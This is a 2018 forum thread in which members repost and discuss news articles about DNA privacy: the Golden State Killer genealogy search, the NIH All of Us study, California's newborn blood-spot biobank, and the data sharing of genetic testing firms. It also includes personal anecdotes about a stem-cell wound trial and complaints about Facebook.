According to the Sacramento Bee, the site is a place for people to find long lost relatives, and has a database of 800,000 DNA profiles.

...............................

https://www.nytimes.com/2018/04/27/health/dna-privacy-golden-state-killer-genealogy.html

The Golden State KillerIs Tracked Througha Thicket of DNA,
and Experts Shudder
The arrest of a suspect has setoff alarms among some scientists
and ethicists worried thatconsumer DNA may be widely
accessed by law enforcement.

By GINA KOLATA and HEATHER MURPHYAPRIL 27, 2018

...................

http://www.chicagotribune.com/news/nationworld/ct-golden-state-killer-dna-implications-20180428-story.html

A genealogy site led police to the Golden State Killer. Who else can tap into this DNA 'treasure trove'?

....................

DNA used in hunt for Golden State Killer previously led to wrong man
https://www.nbcnews.com/.../dna-used-hunt-golden-state-killer-previously-led-wrong-...
8 hours ago - An Oregon officer working at the request of California investigators persuaded a judge in to order a 73- year-old man in a nursing home to provide a DNA sample.

..........................

How DNA from family members helped solve the 'Golden State Killer ...
abcnews.go.com/US/dna-family-members-helped-solved-golden-state-killer/story?id...
13 hours ago - It was a long process to connect the DNA of the unknown "Golden State Killer" to the suspected serial killer and rapist, identified this week as 72-year-old former police officer Joseph DeAngelo. Interested in 'Golden State Killer' Case? Add 'Golden State Killer' Case as an interest to stay up to date on the


Title: Re: they know what you are doing
Post by: space otter on May 08, 2018, 06:10:40 am

hey you can help them out.. volunteer here...yikes.!!!



https://nypost.com/2018/05/02/us-seeking-1-million-volunteers-for-massive-study-of-dna-health-habits/

entire article

US seeking 1M volunteers for massive study of DNA, health habits
By Associated Press May 2, 2018 | 2:37am | Updated

WASHINGTON — Wanted: a million people willing to share their DNA and 10 years of health habits, big and small, for science.

On Sunday, the US government will open nationwide enrollment for an ambitious experiment: If they can build a large enough database comparing the genetics, lifestyles and environments of people from all walks of life, researchers hope to learn why some escape illness and others don’t, and better customize ways to prevent and treat disease.

“A national adventure that is going to transform medical care” is how Dr. Francis Collins, director of the National Institutes of Health, describes his agency’s All of Us Research Program.

Congress has authorized $1.45 billion over 10 years for the project. It all hinges on whether enough people around the country will sign up, either online or through participating health centers.

There’s already interest: More than 25,000 people got early entry to the project over the past year through an invitation-only pilot test run by participating universities and health providers.

Why study so many?

Most of today’s medical care is based on what happened to the average person in short studies of a few hundred or thousand patients with a specific health condition.

And most people who volunteer for those studies are white, leaving questions about the best care for people of different races.

“One-size-fits-all is far from an optimal strategy,” Collins said Tuesday in announcing enrollment for All of Us.

The project involves “precision medicine,” using traits that make us unique to forecast and treat disease. Learning enough to individualize care requires studying a massive number of participants: the healthy and not-so-healthy, young and old, rural and urban, blue-collar and white-collar — and people of all races and ethnicities.

For now, participants must be at least 18. Next year, the study will open to children, too.

While there are other big “biobanks” of genetic data from at least 100,000 people, the NIH project aims to be the largest and most diverse of its kind. At least half of the participants must be from groups traditionally under-represented in medical research, Collins stressed.

Genes aren’t the whole story

Sure, what genes you harbor can raise your risk for various diseases. But other factors can increase or reduce some genetic risks.

So first volunteers will share electronic health records and blood samples, and answer periodic questionnaires about their diet, sleep, environmental exposures and other lifestyle factors. They might wear fitness trackers and other sensors.

Modal Trigger
Dr. Francis Collins, director of the National Institutes of HealthReuters
And later this year they’ll start undergoing genetic testing, initially to look for so-called “variants” in DNA that affect disease risk, similar to what some private companies now sell, Collins said. Fully mapping the genetic code is too pricey now for a million people, but that more comprehensive approach eventually will be used with some participants, too.

Among the first lessons Collins hopes to learn is about resilience: Why do some people stay healthy despite smoking or pollution or poor nutrition?

“We have no idea how those people escape those odds,” he said.

Learn your results

Unlike with most medical studies, participants can choose to see their own test results and share them with their physician long before the study reaches any big-picture conclusions. A caution: There are still many questions about how best to use the results of genetic tests. Still, “we will try to help their doctors sort through what it means,” Collins said.

One result that might bring a quick benefit: Genetic variants can signal who is prone to side effects from more than 100 drugs, information that could be used to prescribe a safer drug if only their doctors knew, Collins added.

Protecting privacy

The privacy of DNA databases made headlines last week when investigators used a free genealogy website to track down a suspected California serial killer.

That’s pretty different than the security under which medical DNA must be handled.

NIH said it has taken as many steps as possible to safeguard against would-be hackers. Volunteers’ medical data is stripped of identifying information and replaced with a code. Only scientists meeting specific security requirements will be cleared to study the data. NIH also said federal “certificates of confidentiality” prohibit disclosure to law enforcement.

Privacy wasn’t a worry for Michelle McNeely, 41, an early participant at Dallas’ Baylor Scot & White Health System. She underwent breast cancer treatment in 2016 and considers taking part in All of Us a way to give back.

“If they can use my genes and someone’s genes in California and someone’s genes in New York to find some common ground, to help discover some cure — they can use my genes all day long,” McNeely said.

.......................

local paper

http://triblive.com/news/healthnow/13607679-74/wanted-volunteers-for-large-study-of-dna-health-habits

The University of Pittsburgh and UPMC will partner with 100 organizations across the country to participate in the National Institutes of Health's research program called All of Us that launches nationwide Sunday.

The goal of the program is to enroll 1 million volunteers to donate biological samples and share health care information to help researchers understand illnesses and develop treatments.

The program, funded by NIH, is part of the Precision Medicine Initiative started by former President Obama in 2015.

“Welcome to the future of health care,” said Dr. Steven Reis, Pitt's associate vice chancellor for clinical research, health sciences, and professor of medicine and emergency medicine.

The NIH started a pilot version of the program last year. Project participants include the University of California system, as well as participating organizations in New York, Boston and Detroit, Reis said. All data will be used solely for research purposes.
Both Pitt and UPMC have 5,000 participants, a number they hope will grow to 120,000. They also have received $60 million from the NIH to fund their share. Overall, the NIH will invest $500 million in the program, which is expected to continue for five — possibly longer — years. The program is currently open to only UPMC patients. It will be open to everyone in about a month, Reis said.

Precision medicine is a new approach to treatment of disease that takes people's lifestyles, environments and biological makeup, including genes, into account.

“This is something that is needed,” said Andrew Brown, a researcher at Pitt's School of Dental Medicine, who was part of the local beta All of Us.

Participants, usually recruited by their primary care doctor, are asked to fill out a survey that looks at overall health habits, as well as where they live and work. Their measurements and blood pressure are taken. They also provide a urine sample.

“It was very easy,” said Janice Yasko, 77, of Evans City. “Being an old lady, I think about these things.”

For Errika Hager, 29, a Plum mother of two, becoming part of the pilot portion of All of Us, was more personal. She developed gestational diabetes during one of her pregnancies. Plus, her grandmother had breast cancer and another close relative developed amyotrophic lateral sclerosis, or ALS.

“For me, I also wanted to raise awareness of the African American community,” she said.

The national research portal will open in the first half of next year. Currently, anyone older than 18 can participate. The NIH is developing a similar data base for children.

Suzanne Elliott is a Tribune-Review staff writer.
Title: Re: they know what you are doing
Post by: The Seeker on May 08, 2018, 03:55:44 pm
No. They don't need my dna, don't need to know my habits; don't know what they are looking for but they can look elsewhere...

my names bennent and I aint in it
Title: Re: they know what you are doing
Post by: zorgon on May 08, 2018, 04:25:24 pm
Ach Ja!  Gather zee information for zee study of creating zee Master Race   :o

I think Uncle Adolf tried this before, nicht wahr?

 ::)

 8)
Title: Re: they know what you are doing
Post by: space otter on May 09, 2018, 02:05:04 pm


well what a lot of folks don't know is that  babies  are already in the database for dna , as well as blood type and fingerprints and probably more we don't know about
what most parents don't know is that they can opt out..but it's ususally just done

i guess with this health thing they want some of the older folks...
i wonder if the undertakers keep samples now

sigh




Quote
Newborn screening began in the 1960s when scientist Robert Guthrie, MD, PhD, developed a blood test that could detect whether newborns had the metabolic disorder, phenylketonuria (PKU).Since then, scientists have developed more tests to screen newborns for a variety of severe conditions.

Quote
Newborn screening tests check for rare but serious conditions in babies just after birth. All states require certain screening tests to be performed on newborns, even if they appear healthy. These generally include a variety of blood tests and a hearing test. (Some states now do heart defect screenings as well.)


http://genes-r-us.uthscsa.edu/resources/newborn/overview.htm



http://www.babysfirsttest.org/newborn-screening/screening-101



DNA Gene Sequencing and Newborn Screening – Where are We and ...
https://www.babygenes.net/.../dna-gene-sequencing-and-newborn-screening-where-ar...
Jan 25, 2017 - The benefit is that state newborn screening programs provide more than just a newborn screening test. ... Currently, DNA sequencing is used only as a second tier test for certain diseases (cystic fibrosis) or as a confirmatory test for a positive newborn screen, which is a costly and limited use of this technology.
Title: Re: they know what you are doing
Post by: The Seeker on May 09, 2018, 02:12:51 pm
That is more of a modern deal with the babies; an old fart boomer like me popped out before any of that got started  :P
Title: Re: they know what you are doing
Post by: Shasta56 on May 09, 2018, 02:36:10 pm
Doctors can prescribe safer drugs by listening to patient's. They can also quit prescribing whatever the pharma representative displays as the flavor of the week.
Title: Re: they know what you are doing
Post by: space otter on May 13, 2018, 05:51:24 am

entire article copied here



https://www.msn.com/en-us/news/us/dna-of-every-baby-born-in-california-is-stored-who-has-access-to-it/ar-AAxbj8F?li=BBnb7Kz

DNA of every baby born in California is stored.
 Who has access to it?

8 hrs ago

SAN FRANCISCO -- You probably know where your Social Security card, birth certificate and other sensitive information is being stored, but what about your genetic material? If you or your child was born in California after 1983, your DNA is likely being stored by the government, may be available to law enforcement and may even be in the hands of outside researchers, CBS San Francisco's Julie Watts reports.

Like many states, California collects bio-samples from every child born in the state. The material is then stored indefinitely in a state-run biobank, where it may be purchased for outside research.

State law requires that parents are informed of their right to request the child's sample be destroyed, but the state does not confirm parents actually get that information before storing or selling their child's DNA.

KPIX has learned that most parents are not getting the required notification. We've also discovered the DNA may be used for more than just research.

In light of the Cambridge Analytica-Facebook scandal and the use of unidentified DNA to catch the Golden State Killer suspect, there are new concerns about law enforcement access, and what private researchers could do with access to the DNA from every child born in the state.

The Lifesaving Test

It all begins with a crucial and potentially lifesaving blood test.

The Newborn Genetic Screening test is required in all 50 states, and is widely believed to be a miracle of modern medicine.

Nearly every baby born in the United States gets a heel prick shortly after birth. Their newborn blood fills six spots on a special filter paper card. It is used to test baby for dozens of congenital disorders that, if treated early enough, could prevent severe disabilities and even death.

It's estimated that newborn screening leads to a potentially life-saving early diagnosis each year for 5,000 to 6,000 children nationwide.

The California Department of Public Health reports that from 2015-2017 alone, the Newborn Screening test diagnosed 2,498 babies with a "serious congenital disorder that, if left untreated could have caused irreparable harm or death."

But, unless you or your child is diagnosed with one of these disorders, the test is often lost in the fog of childbirth.

We randomly selected six new moms and asked what they knew about their child's genetic test.

Three of the moms remembered the heel prick, while the other three say they think they knew about the test. But, like most parents, none knew what happened to their baby's leftover blood spots after the test.

They were shocked when KPIX reporter Julie Watts explained it to them.

Your rights after the test

The lab generally only needs a few of the blood spots for the baby's own potentially lifesaving genetic test. They use to collect five blood spots total from each child in California, they've now increased that to six.

Some states destroy the blood spots after a year, 12 states store them for at least 21 years.

California, however, is one of a handful of states that stores the remaining blood spots for research indefinitely in a state-run biobank.

Even though the parents pay for the lifesaving test itself, the child's leftover blood spots become property of the state and may be sold to outside researchers without the parent's knowledge or consent.

"I just didn't realize there was a repository of every baby born in the state. It's like fingerprints," new mom Soniya Sapre responded.

Amanda Feld, who had her daughter 15 months ago, was concerned in light of recurring data breaches. "We know that companies aren't very good at keeping data safe. They try," she said.

New mom Nida Jafri chimed in, "There should be accountability and transparency on what it's being used for."

"Blood is inherently or intrinsically identifiable,"added Sapre.

Some states allow parents to opt-in or give informed consent before they store the child's sample.

In California, however, in order to get the potentially lifesaving genetic test for your child, you have no choice but to allow the state to collect and store the remaining samples.

You do have the right to ask the biobank to destroy the leftovers after the fact, though the agency's website states it "may not be able to comply with your request."

You also have the right to find out if your child's blood spots have been used for research, but you would have to know they were being used in the first place and we've discovered that most parents don't.

Samples used to save more lives

Dr. Fred Lorey, the former director of the California Genetic Disease Screening Program, explained that blood spot samples are invaluable to researchers.

"They're important because these samples are needed to create new testing technology," Lorey said.

He explained that they're primarily used to identify new diseases and improve the current tests, ultimately saving more babies

With nearly 500,000 births a year, California's biobank is, by far, the largest and is crucial for research nationwide.

According to the Department of Public Health, more than 9.5 million blood spot samples have been collected since 2000 alone. The state has stored blood spots since 1983.

As a result, California can now test newborns for more than 80 different disorders, more than any other state. The standard panel nationwide is around 30 disorders.

But researchers with the California Genetic Disease Screening Program aren't the only ones with access to samples stored in the biobank.

Blood spots are given to outside researchers for $20 to $40 per spot.

Regulations require that the California Genetic Disease Screening Program to be self-supporting.

"It has to pay for itself," Lorey noted. Allowing outside researchers to buy newborn bloodspots helps to recoup costs.

According to biobank records, the program sold about 16,000 blood spots over the past five years, totaling a little more than $700,000. By comparison, the program reported $128 million in revenue during the last fiscal year alone, mostly generated by the fees parents pay for the test. Parents are charged around $130 on their hospital bill for the Newborn Screening Test itself.

Making money off your DNA

But while the state may not be making money off your child's DNA, Lorey admitted that there is the potential for outside researchers to profit off your child's genetic material.

"Do any of those studies result in something that the company can make money from?" reporter Julie Watts asked Lorey in a recent interview. "Could they create a test or treatment that they ultimately profit from?"

"Theoretically, yes," Lorey admitted. "I'm not aware of any cases that that's happened because virtually all, not all, of these researchers that have made requests are scientific researchers."

He explained that researchers who request the spots must meet specific criteria. Their studies must first be approved by a review board. They're also supposed to return or destroy remaining blood spot samples after use.

However, privacy advocates point to the Cambridge Analytica-Facebook scandal where third-party researchers were supposed to destroy data, but instead used it for profit – and untimely to attempt to influence a presidential election.

Watts pressed Lorey on that point.

"So there is no possibility a researcher may request blood spots for a specific research experiment … but then keep blood spots without the department's knowledge to be used for other purposes?" she asked.

"I want to say no" he said. "But I'm not ready to say no because I know how humans can be sometimes."

"De-identified DNA"

However, Lorey stressed that the blood spots cards, stored in the state biobank, are "de-identified." There is no name or medical information on the card, just the blood spots and a number.

Lorey explained the identifying information is stored in a separate building and after a few years is microfiched so it's not even kept on a server. Samples do need to be re-identified for various reasons, but Lorey says, in those cases, parents are notified.

And to be clear, he stressed, there is also no genome database. The state does not sequence or extract the DNA from the blood spots collected, although a researcher might, depending on the study.

Privacy advocates, like Consumer Watchdog's Jamie Court insist DNA is inherently identifiable.

"There is no such thing as de-identified DNA," Court said. "The very nature of DNA is that it identifies you and your genetic code specifically."

Court points to the recent case of the Golden State Killer. Investigators used public ancestry sites to identify a murder suspect using decades-old unidentified DNA from a crime scene.

And we've learned, researchers aren't the only ones with access to the blood spots.

Law enforcement access

A public records request revealed coroners often use blood spots to identify bodies, and at least one parent requested blood spots to prove paternity.

Law enforcement also can — and does — request identified blood spots. We found at least five search warrants and four court orders, including one to test a child's blood for drugs at birth.

According to the Department Of Public Health, "Only a court order can provide a third-party (including law enforcement) access to an identified stored specimen without parental consent."

"I think the storage of DNA for purposes other than medical research without informed consent clearly is violating a duty and a trust that the state has to the public," Court said. "What are they trying to hide?"

State law says parents should know -- they don't

According to the Department of Public Health, it's not hiding anything. The agency points to page 13 of the Newborn Screening brochure which does disclose that the blood spots are stored.

"In addition to being available on the Internet in multiple languages, healthcare providers give the brochure to parents prenatally and at birthing centers and hospitals," the Department of Public Health stated.

We asked the six new moms to bring in all the paperwork they collected from the hospital. Only one of the six women actually had the required newborn screening pamphlet and she admitted that between delivering a baby and learning to raise a tiny human, she hadn't found the time to flip to page 13.

"I feel like that's something that should have been discussed with us in person, not on whatever page in a document," another new mom, Lesley Merritt, responded.

Argelia Barcena added that they were not told the pamphlet was crucial or mandatory reading material.  "I saw it as reference material, to refer to if needed, they dont tell you 'you must read it,'" she pointed out.

Keep in mind new parents are generally sent home with folders full of paperwork including a variety of medical testing forms and pamphlets with information ranging from breastfeeding and vaccines, to sudden infant death and CPR.

"Everyone who came into our room gave us another pamphlet," New Mom Amanda Feld pointed out.

In the case of the Genetic Screening Pamphlet, the moms agreed they wouldn't have thought it was relevant to read after the fact unless their child was actually diagnosed.

And they're not alone. We conducted an exclusive Survey USA news poll of parents with kids born in California over the past five years.

While a majority of parents reported that they did know about the life-saving test, three-quarters said they didn't know the state would store the leftover blood spots indefinitely for research, and two-thirds weren't sure they ever got the newborn screening information.

When we read the six moms that portion of page 13 that disclosed the blood spots could be used for outside research, they noted that it's not clear the blood spots are stored indefinitely, available to law enforcement, nor that using blood spots for "department approved studies" means giving them to outside researchers." P.13 states:

"Are the stored blood spots used for anything else? Yes. California law requires the NBS program to use or provide newborn screening specimens for department approved studies of diseases in women and children, such as research related to identify-ing and preventing disease."

Lorey helped draft previous versions of the pamphlet. He agreed that the portion on page 13 "could be clarified," but he said he believed the information included provides "adequate disclosure."

He was surprised, however, when Watts showed him all the forms she was sent home from the hospital with and he acknowledged it could be difficult for parents to digest it all while also learning to care for a newborn.

He was also surprised to see the version of the newborn screening brochure that Watts was given.

Instead of the required 14-page pamphlet with the storage disclosure on page 13, she had a one page, tri-fold hand-out with no mention of storage, or a parent's right to opt out of it. Instead there was a web link where parents could go "For more information…"

Required disclosure

State regulations say that parents are supposed to get the full 14 page pamphlet twice, once before their due date, and again in the hospital before the heel prick test.

But in practice, most parents say they didn't even see the pamphlet until after the test, if they got it at all.

While the state says it "distributes more than 700,000 copies of the booklets to health providers each year," it admits that it doesn't track whether doctors are giving them out. It also does not confirm parents are informed of their rights to opt out of storage before storing or selling the child's DNA.

Federal law

Under federal law, blood spots are currently defined as human subjects, and therefore require informed consent for federal research. But, that doesn't apply to private researchers, and even that protection is about to expire when a new federal policy, known as the Common Rule, takes effect this year.

Following strong opposition from the research community, proposed protections for unidentified bio-specimens were stripped from the final rule. This means researchers won't need consent to use de-identified blood spots, and, in some cases, can even use identified blood spots without consent.

It's ultimately up to each state to develop their own policies on disclosure. Parents in  Texas successfully sued the state, ultimately forcing their biobank to destroy samples taken for research without consent or disclosure.

State law

In California, the newborn screening law doesn't actually authorize the state to store a child's leftover blood spots after the test, or give it to outside researchers, it only authorizes the life-saving genetic test itself.

However, the newborn screening law does say that state may store samples of the mother's prenatal blood, which is taken early in the pregnancy, but only if the mother opts in.

Parents don't get to opt in to storing their baby's DNA however and that was not decided by voters or lawmakers.

While the newborn screening law was enacted by the state legislature, the authorization to store every child's DNA and sell it to researchers is actually in a separate regulation enacted by the Director of California Department of Public Health. It says that a child's "blood specimen and information," collected during a test paid for by the child's parents, becomes "property of the state."

"Any tissue sample that is given in a hospital or any medical facility, once it's given, is no longer your property," Lorey explained. "You can agree with that or disagree with that, but it happens to be the law."

In 2015, former California Assemblyman Mike Gatto introduced a law that would have initially made both the test and storage opt-in. It was strongly opposed by the powerful hospital and research lobbies, and after several revisions, it died in the Senate Health Committee.

Health advocates said their primary opposition at the time was due to the fact that Gatto's bill would have made both the test and storage opt in, and since the test itself is crucial to saving lives, they said the test should not be optional.

Researchers, on the other hand, oppose letting parents opt in to the storage too because they believe they would get fewer samples if parents had a choice.

But, that doesn't seem to be the case in California.

Calif. moms opt in to prenatal

Along with newborn blood spots, the California Genetic Disease Screening Program also tests mothers' blood in the first and second trimesters, and they're allowed to opt in.

About 90 percent of pregnant women do opt in to letting the state store their own blood for research. And, unlike the newborn screening test, a majority of moms said they do remember the disclosures and pamphlets about their own genetic test, because they got them early in the pregnancy.

Eighty four percent of parents surveyed said they think they should get information about their child's genetic screening at the same time they learn about their own. That would give them time — several months without the distraction of a newborn — to process the information and understand their rights before the child is born.

Many said they also should have the right to opt out of storage before their child's DNA is stored, or at least give informed consent before it is sold for research.

The problem with opting in

Critics of the opt-in option point to Texas. Following a lawsuit by parents, the biobank was forced to destroy blood spots that were taken without consent to store them for research. Now Texas allows parents to opt-in to storage.

When the potentially life-saving screening test is given in Texas, a storage consent form with a matching ID number is given to the parents to take home from the hospital and review. Blood spots are not stored in the biobank unless parents sign and return the consent form. As a result, a significant percentage of samples are destroyed.

Critics note that many parents never return the form, likely in part due to the distractions of a new baby.

Ultimately, that hurts the biobank and researchers because they get fewer samples, and more importantly, fewer samples from certain communities.

This means that research performed with those samples may not be valid for the entire population. In contrast, research performed with samples from California's biobank is considered very strong and applicable to all babies.

A Calif. opt-in solution

Parents and advocates we spoke with in California would like to see the informed consent given out early in the pregnancy, long before the due date, which may lead to a higher opt-in rate than in Texas.

An opt-in early in the pregnancy would require a system in place to match the mothers' consent forms, collected in the first trimester, with the babies' blood spots, collected months later by hospital staff.

Lorey said California already has a similar matching system in place for the prenatal genetic test so it does seem feasible.

Court believes parents should have the right to opt-in before their baby's genetic material is collected and stored indefinitely by the state, though that would be fought hard by the powerful hospital and research lobbies in Sacramento.

"Informed consent basically means we should know what we're donating a sample for," Court said. "If hospitals and the medical complex is so concerned that if we knew that we might not donate our samples, than we absolutely need to know what they're doing with them because it suggests there is a purpose beyond what we know."

Meanwhile, a majority of parents surveyed said they would have opted-in to storage if given the chance.

Additionally, they said they're more likely to destroy their child's sample now than they would have been if they had been notified of their rights to begin with.

Both the California Hospital Association and the March of Dimes, which opposed previous legation that would have allowed parents to opt-in, say they are now open to improving the way the state informs parents that their child's samples will be stored and "may be used to advance research."

However, neither has an official position on allowing parents to opt-in to storage.

Short of an opt-in, Court said he thinks there should at least be a tracking mechanism to ensure every parent is getting complete and accurate information about the storage early in the pregnancy, before the DNA samples are stored.

Since state law already requires prenatal doctors to provide the information, Court notes, it wouldn't be a stretch to require they also get a signature from moms, allowing the state to track whether or not parents are actually getting the information.

What next?

So the questions remain: Should parents have the right to know that their child's DNA will be stored indefinitely in a state-run biobank and may be available to law enforcement? Should the state have to confirm that parents are informed of their rights before it stores and sells the child's DNA? Who has the power to make that happen?

Karen Smith, appointed by Governor Brown, is the current Director of the Department of Public Health. She has the power to adopt new regulations.

Though, for a more permanent fix, lawmakers in Sacramento would need to pass new legislation.

We've shared our findings with several state lawmakers on the Assembly Privacy Committee.  Many were shocked to learn that the state was storing DNA samples from every baby born in the state and selling them to outside researchers without parents' knowledge or consent.

So far, however, none have shown any interest in giving parents the right to opt out of storage before the child is born, or even requiring the state to confirm parents are informed before storing their baby's blood indefinitely.



oh yeah   ps

did you know that the foreskins from the circumcision of baby boys is used in research also and one of the researchers used her discovery to form a company, then sold at a large profit,
at one time called nu-skin ( I think)  and was the basis for skin for burn patients...
a good result but  also a profit made from a body part  parents had no knowledge or say over

what else has come out of 'research' of human parts taken in a hospital setting?  you can say you want your part back but the hospital says it's theirs.




http://www.thelivingmoon.com/forum/index.php?topic=9220.msg122908#msg122908
Title: Re: they know what you are doing
Post by: ArMaP on May 13, 2018, 06:03:37 am
Doctors can prescribe safer drugs by listening to patient's. They can also quit prescribing whatever the pharma representative displays as the flavor of the week.
Some years ago we had a change in the laws and regulations related to doctors when several cases emerged about doctors having trips paid by labs. Small gifts were very common, some times there were more representatives from the labs than patients waiting for the doctors in the waiting rooms.
Title: Re: they know what you are doing
Post by: ArMaP on May 13, 2018, 06:10:07 am
DNA of every baby born in California is stored.
 Who has access to it?
In the EU, on May 25th a new regulation starts being applied, and any personal data needs either a legal reason or a specific authorization from the person to be collected and processed. Minors are a special case, with more controls on how data can be gathered and processed.

There are the usual security and judicial reasons that allowed the state to have a different position, but the person's rights still apply, one of them being the right to know how the data is used.
Title: Re: they know what you are doing
Post by: zorgon on May 13, 2018, 02:47:35 pm
oh yeah   ps

did you know that the foreskins from the circumcision of baby boys is used in research also and one of the researchers used her discovery to form a company, then sold at a large profit,
at one time called nu-skin ( I think)  and was the basis for skin for burn patients...
a good result but  also a profit made from a body part  parents had no knowledge or say over


yes I knew this....  they use the stem cells from the foreskin....  I was a lab rat with my leg ulcers... They were testing a spray with these stem cells that would heal the wound...

The cost per spray was $5,000 per shot and the wound needed 2 prays.  One for the deep tissue cells and one for the epidermis

They give a tiny squirt of each, bot at the same time...  over 8 weeks  once a week.  Then they just wrap the wound with a 4 layer compression wrap.

The spray was paid for by the study...  they do the 120.00 wrap for free, they pay the doctor substantially to do the program and they paid me 75.00 a week to be lab rat :P They also take every blood test known to man to see how you react (for your safety)

It WORKED  It closed the holes and has pretty much stayed closed since. It also worked for many others that had larger wounds. The biggest pluse was for some reason the stem cell spray STOPPED the pain...  maybe because the body recognized the healing?  It also stopped the odor of rotting flesh.

yes Nu-Skin was one of the trade names

But here is the thing most people don't understand  THERE IS NO PROFIT for the compamies UNZTIL the product is proven and accepted by the FDA

In this case there was ONE single batch of the product that failed in the tests  and because of that the FDA didn't approve the trials...

The company had spent 900 MILLION on these series of tests.... the product worked 99% of the time... but that one failed batch killed it with the FDA  so all that research money just went POOF

I hope they do it again  as it REALLY WORKS  The stem cells heal the body because stem cells can become anything

I do hear that they have a new way to create stem cells from your own fat cells. If that turns out to work... we are well on the way to a major break through without using body parts... just your own tissue

New Stem Cell Treatment Using Fat Cells Could Repair Any Tissue in The Body
Human trials are expected in 2017


Patient uses fat stem cells to repair his wrist
https://www.cnn.com/2017/05/22/health/fat-stem-cells-fix-wrist-injury-cartilage/index.html
https://www.sciencealert.com/new-stem-cell-treatment-using-fat-cells-could-repair-any-tissue-in-the-body
Title: Re: they know what you are doing
Post by: space otter on May 24, 2018, 02:08:49 pm

yes this is an editorial

http://triblive.com/opinion/editorials/13657988-74/peter-pitts-23-and-me-and-facebook

Facebook recently informed 87 million users that Cambridge Analytica, a political consulting firm, harvested their confidential information using it to create targeted ads that may have influenced the outcome of the 2016 presidential election.

Many users were shocked to learn that Cambridge had access to their data.

Now, Congress is demanding reforms from Facebook and other social-media sites. Our lawmakers want social networks to simplify privacy terms and conditions.

But Facebook isn't the only firm that puts users' privacy at risk. Some genetic testing companies such as Invitae, 23andMe and AncestryDNA do, too — and the consequences of irresponsibly sharing DNA data are far more serious than a social-media data breach.

Lawmakers and regulators ought to demand these genetic testing companies clearly inform consumers whether, and how, their data will be shared.

Every year, millions of people undergo genetic testing to help predict health problems or just discover their heritage.

Doctors send patients' blood or saliva samples to lab-testing companies such as Invitae. Millions of people have bought DNA testing kits from companies like 23andMe and AncestryDNA and submitted their samples through the mail.

After sequencing the DNA samples, genetic testing firms often sell or share the genetic information to third parties. For instance, 23andMe agreed to share its data with biopharmaceutical firm Genentech in exchange for as much as $60 million.

Testing firms seek users' permission to share the data. But they gloss over the risks. As a result, consumers sign away their rights with little comprehension of the privacy violations and discrimination that could ensue.

Take Invitae. Its privacy policy states that it may use patients' “de-identified” data for “general research purposes” which may include “research collaborations with third parties” or “commercial collaborations with private companies.”

The problem is that the data isn't permanently “de-identified.” It can easily be tied back to specific people.

Just ask Harvard Medical School Professor Latanya Sweeney. She recently identified the names of more than 40 percent of participants in a supposedly anonymous DNA study. Sweeney cross-referenced participants' provided ZIP codes, birthdays and genders with public records such as voter rolls. She then was able to match people up to their DNA.

Your DNA contains a wealth of sensitive medical information. Imagine what employers might do if they got access to people's DNA. They easily could exploit this information to discriminate against prospective hires.

Genetic privacy is a human right. To protect consumers from such abuses, the government should increase regulation of genetic testing companies to protect people.

Some DNA testing companies aren't waiting for regulators to act. They're already voluntarily promising to not share any genetic samples, leaving the important privacy decisions in patients' hands where they belong.

Social-media platforms such as Facebook are failing to secure users' personal information. Most genetic testing companies are failing, too.

It's time for lawmakers and regulators to impose tougher consumer protections so we don't have a Facebook-like crisis involving people's most sensitive genetic information.

Peter Pitts, a former FDA associate commissioner, is president of the Center for Medicine in the Public Interest.




if you have time this is interesting

https://www.youtube.com/watch?v=tivCK_fBBfo

Title: Re: they know what you are doing
Post by: zorgon on May 24, 2018, 02:27:13 pm
Many users were shocked to learn that Cambridge had access to their data.

LOL most average facebook users are stupid and easy to shock... but have the memory capacity of a worm  :P

When Ed Snowden released the NSA spying network called PRISM at the risk of his own life and freedom  everyone was shocked  A month later it was all forgotten and they when back to posting their personal info

(https://www.popsci.com/sites/popsci.com/files/styles/1000_1x_/public/import/2013/images/2013/06/PRISM%20powerpoint.jpg?itok=wYkqM1iz)


Mark Zuckerberg Called People Who Handed Over Their Data "Dumb F****"

Quote
Now it appears an IM exchange Mark had with a college friend back in 2004, might have been telling of things to come as he expressed disbelief that so many people would willingly hand over their information.

As reported by Business Insider, the conversation according to SAI sources, went as follows.

Zuck: Yeah so if you ever need info about anyone at Harvard

Zuck: Just ask.

Zuck: I have over 4,000 emails, pictures, addresses, SNS

[Redacted Friend's Name]: What? How'd you manage that one?

Zuck: People just submitted it.

Zuck: I don't know why.

Zuck: They "trust me"

Zuck: Dumb frigs.

Sure, this was 19-year-old Mark Zuckerberg, not long after he had launched Facebook from the comfort of his own dorm room.

He might have just been bragging to his friend, he wasn’t to know the data treasure trove Facebook would become 14 years later with 2.2 billion users.

Back then he wasn’t the sixth richest person in the world, with a net worth of $70 billion.

He was just some student probably sitting in his pants IM’ing.

(https://hips.hearstapps.com/hmg-prod.s3.amazonaws.com/images/gettyimages-526043054-1521542857.jpg)

Quote
What a week its been for Facebook, the social media giant has plummeted $37bn in value after news broke of a so-called data grab on more than 50 million profiles by Cambridge Analytica, a political research company with links to Trump. Then there's Alex Stamos, Facebook's Chief Security Officer who seems to be refusing to step down. And we're only on Tuesday.

https://www.esquire.com/uk/latest-news/a19490586/mark-zuckerberg-called-peple-who-handed-over-their-data-dumb-f/
Title: Re: they know what you are doing
Post by: zorgon on May 24, 2018, 02:29:05 pm
Facebook's Objectors Are Getting Louder. They Should Know: They Used To Work There

Quote
Chamath Palihapitiya, the former vice-president of user growth at Facebook, has spoken about his “tremendous guilt” over creating “tools that are ripping apart the social fabric of how society works” when working at the social media company.

The Verge yesterday reported that the ex-VP, who left the company in 2011, made the comments while speaking at a Stanford Business School event last month.

“The short-term, dopamine-driven feedback loops that we have created are destroying how society works. No civil discourse, no cooperation, misinformation, mistruth,” Palihapitiya argued.

“This is not about Russian ads,” he went on to say. “This is a global problem ... It is eroding the core foundations of how people behave by and between each other.”

Palihapitiya also spoke about no longer using the site or allowing his children to. “I can control my decision, which is that I don’t use that shit," he said. "I can control my kids’ decisions, which is that they’re not allowed to use that shit.”

Last month ex-Facebook president Sean Parker also made damning comments, about the site's lack of social and moral responsibility arguing that from the beginning it exploited “a vulnerability in human psychology”.


“It literally changes your relationship with society, with each other. It probably interferes with productivity in weird ways. God only knows what it’s doing to our children’s brains,” he said.

Zuckerberg himself has said he doesn't use the site and both Steve Jobs and Jonathan Ive (Apple's chief design officer) admitted they have strict limitations on how their children are allowed to interact with technology designed to be so addictive.


https://www.esquire.com/uk/life/a14413677/facebook-ripping-society-apart/
Title: Re: they know what you are doing
Post by: zorgon on May 24, 2018, 02:30:53 pm
How Ex-Facebook And Google Employees Are Uniting To Battle The Monsters They Created

Quote
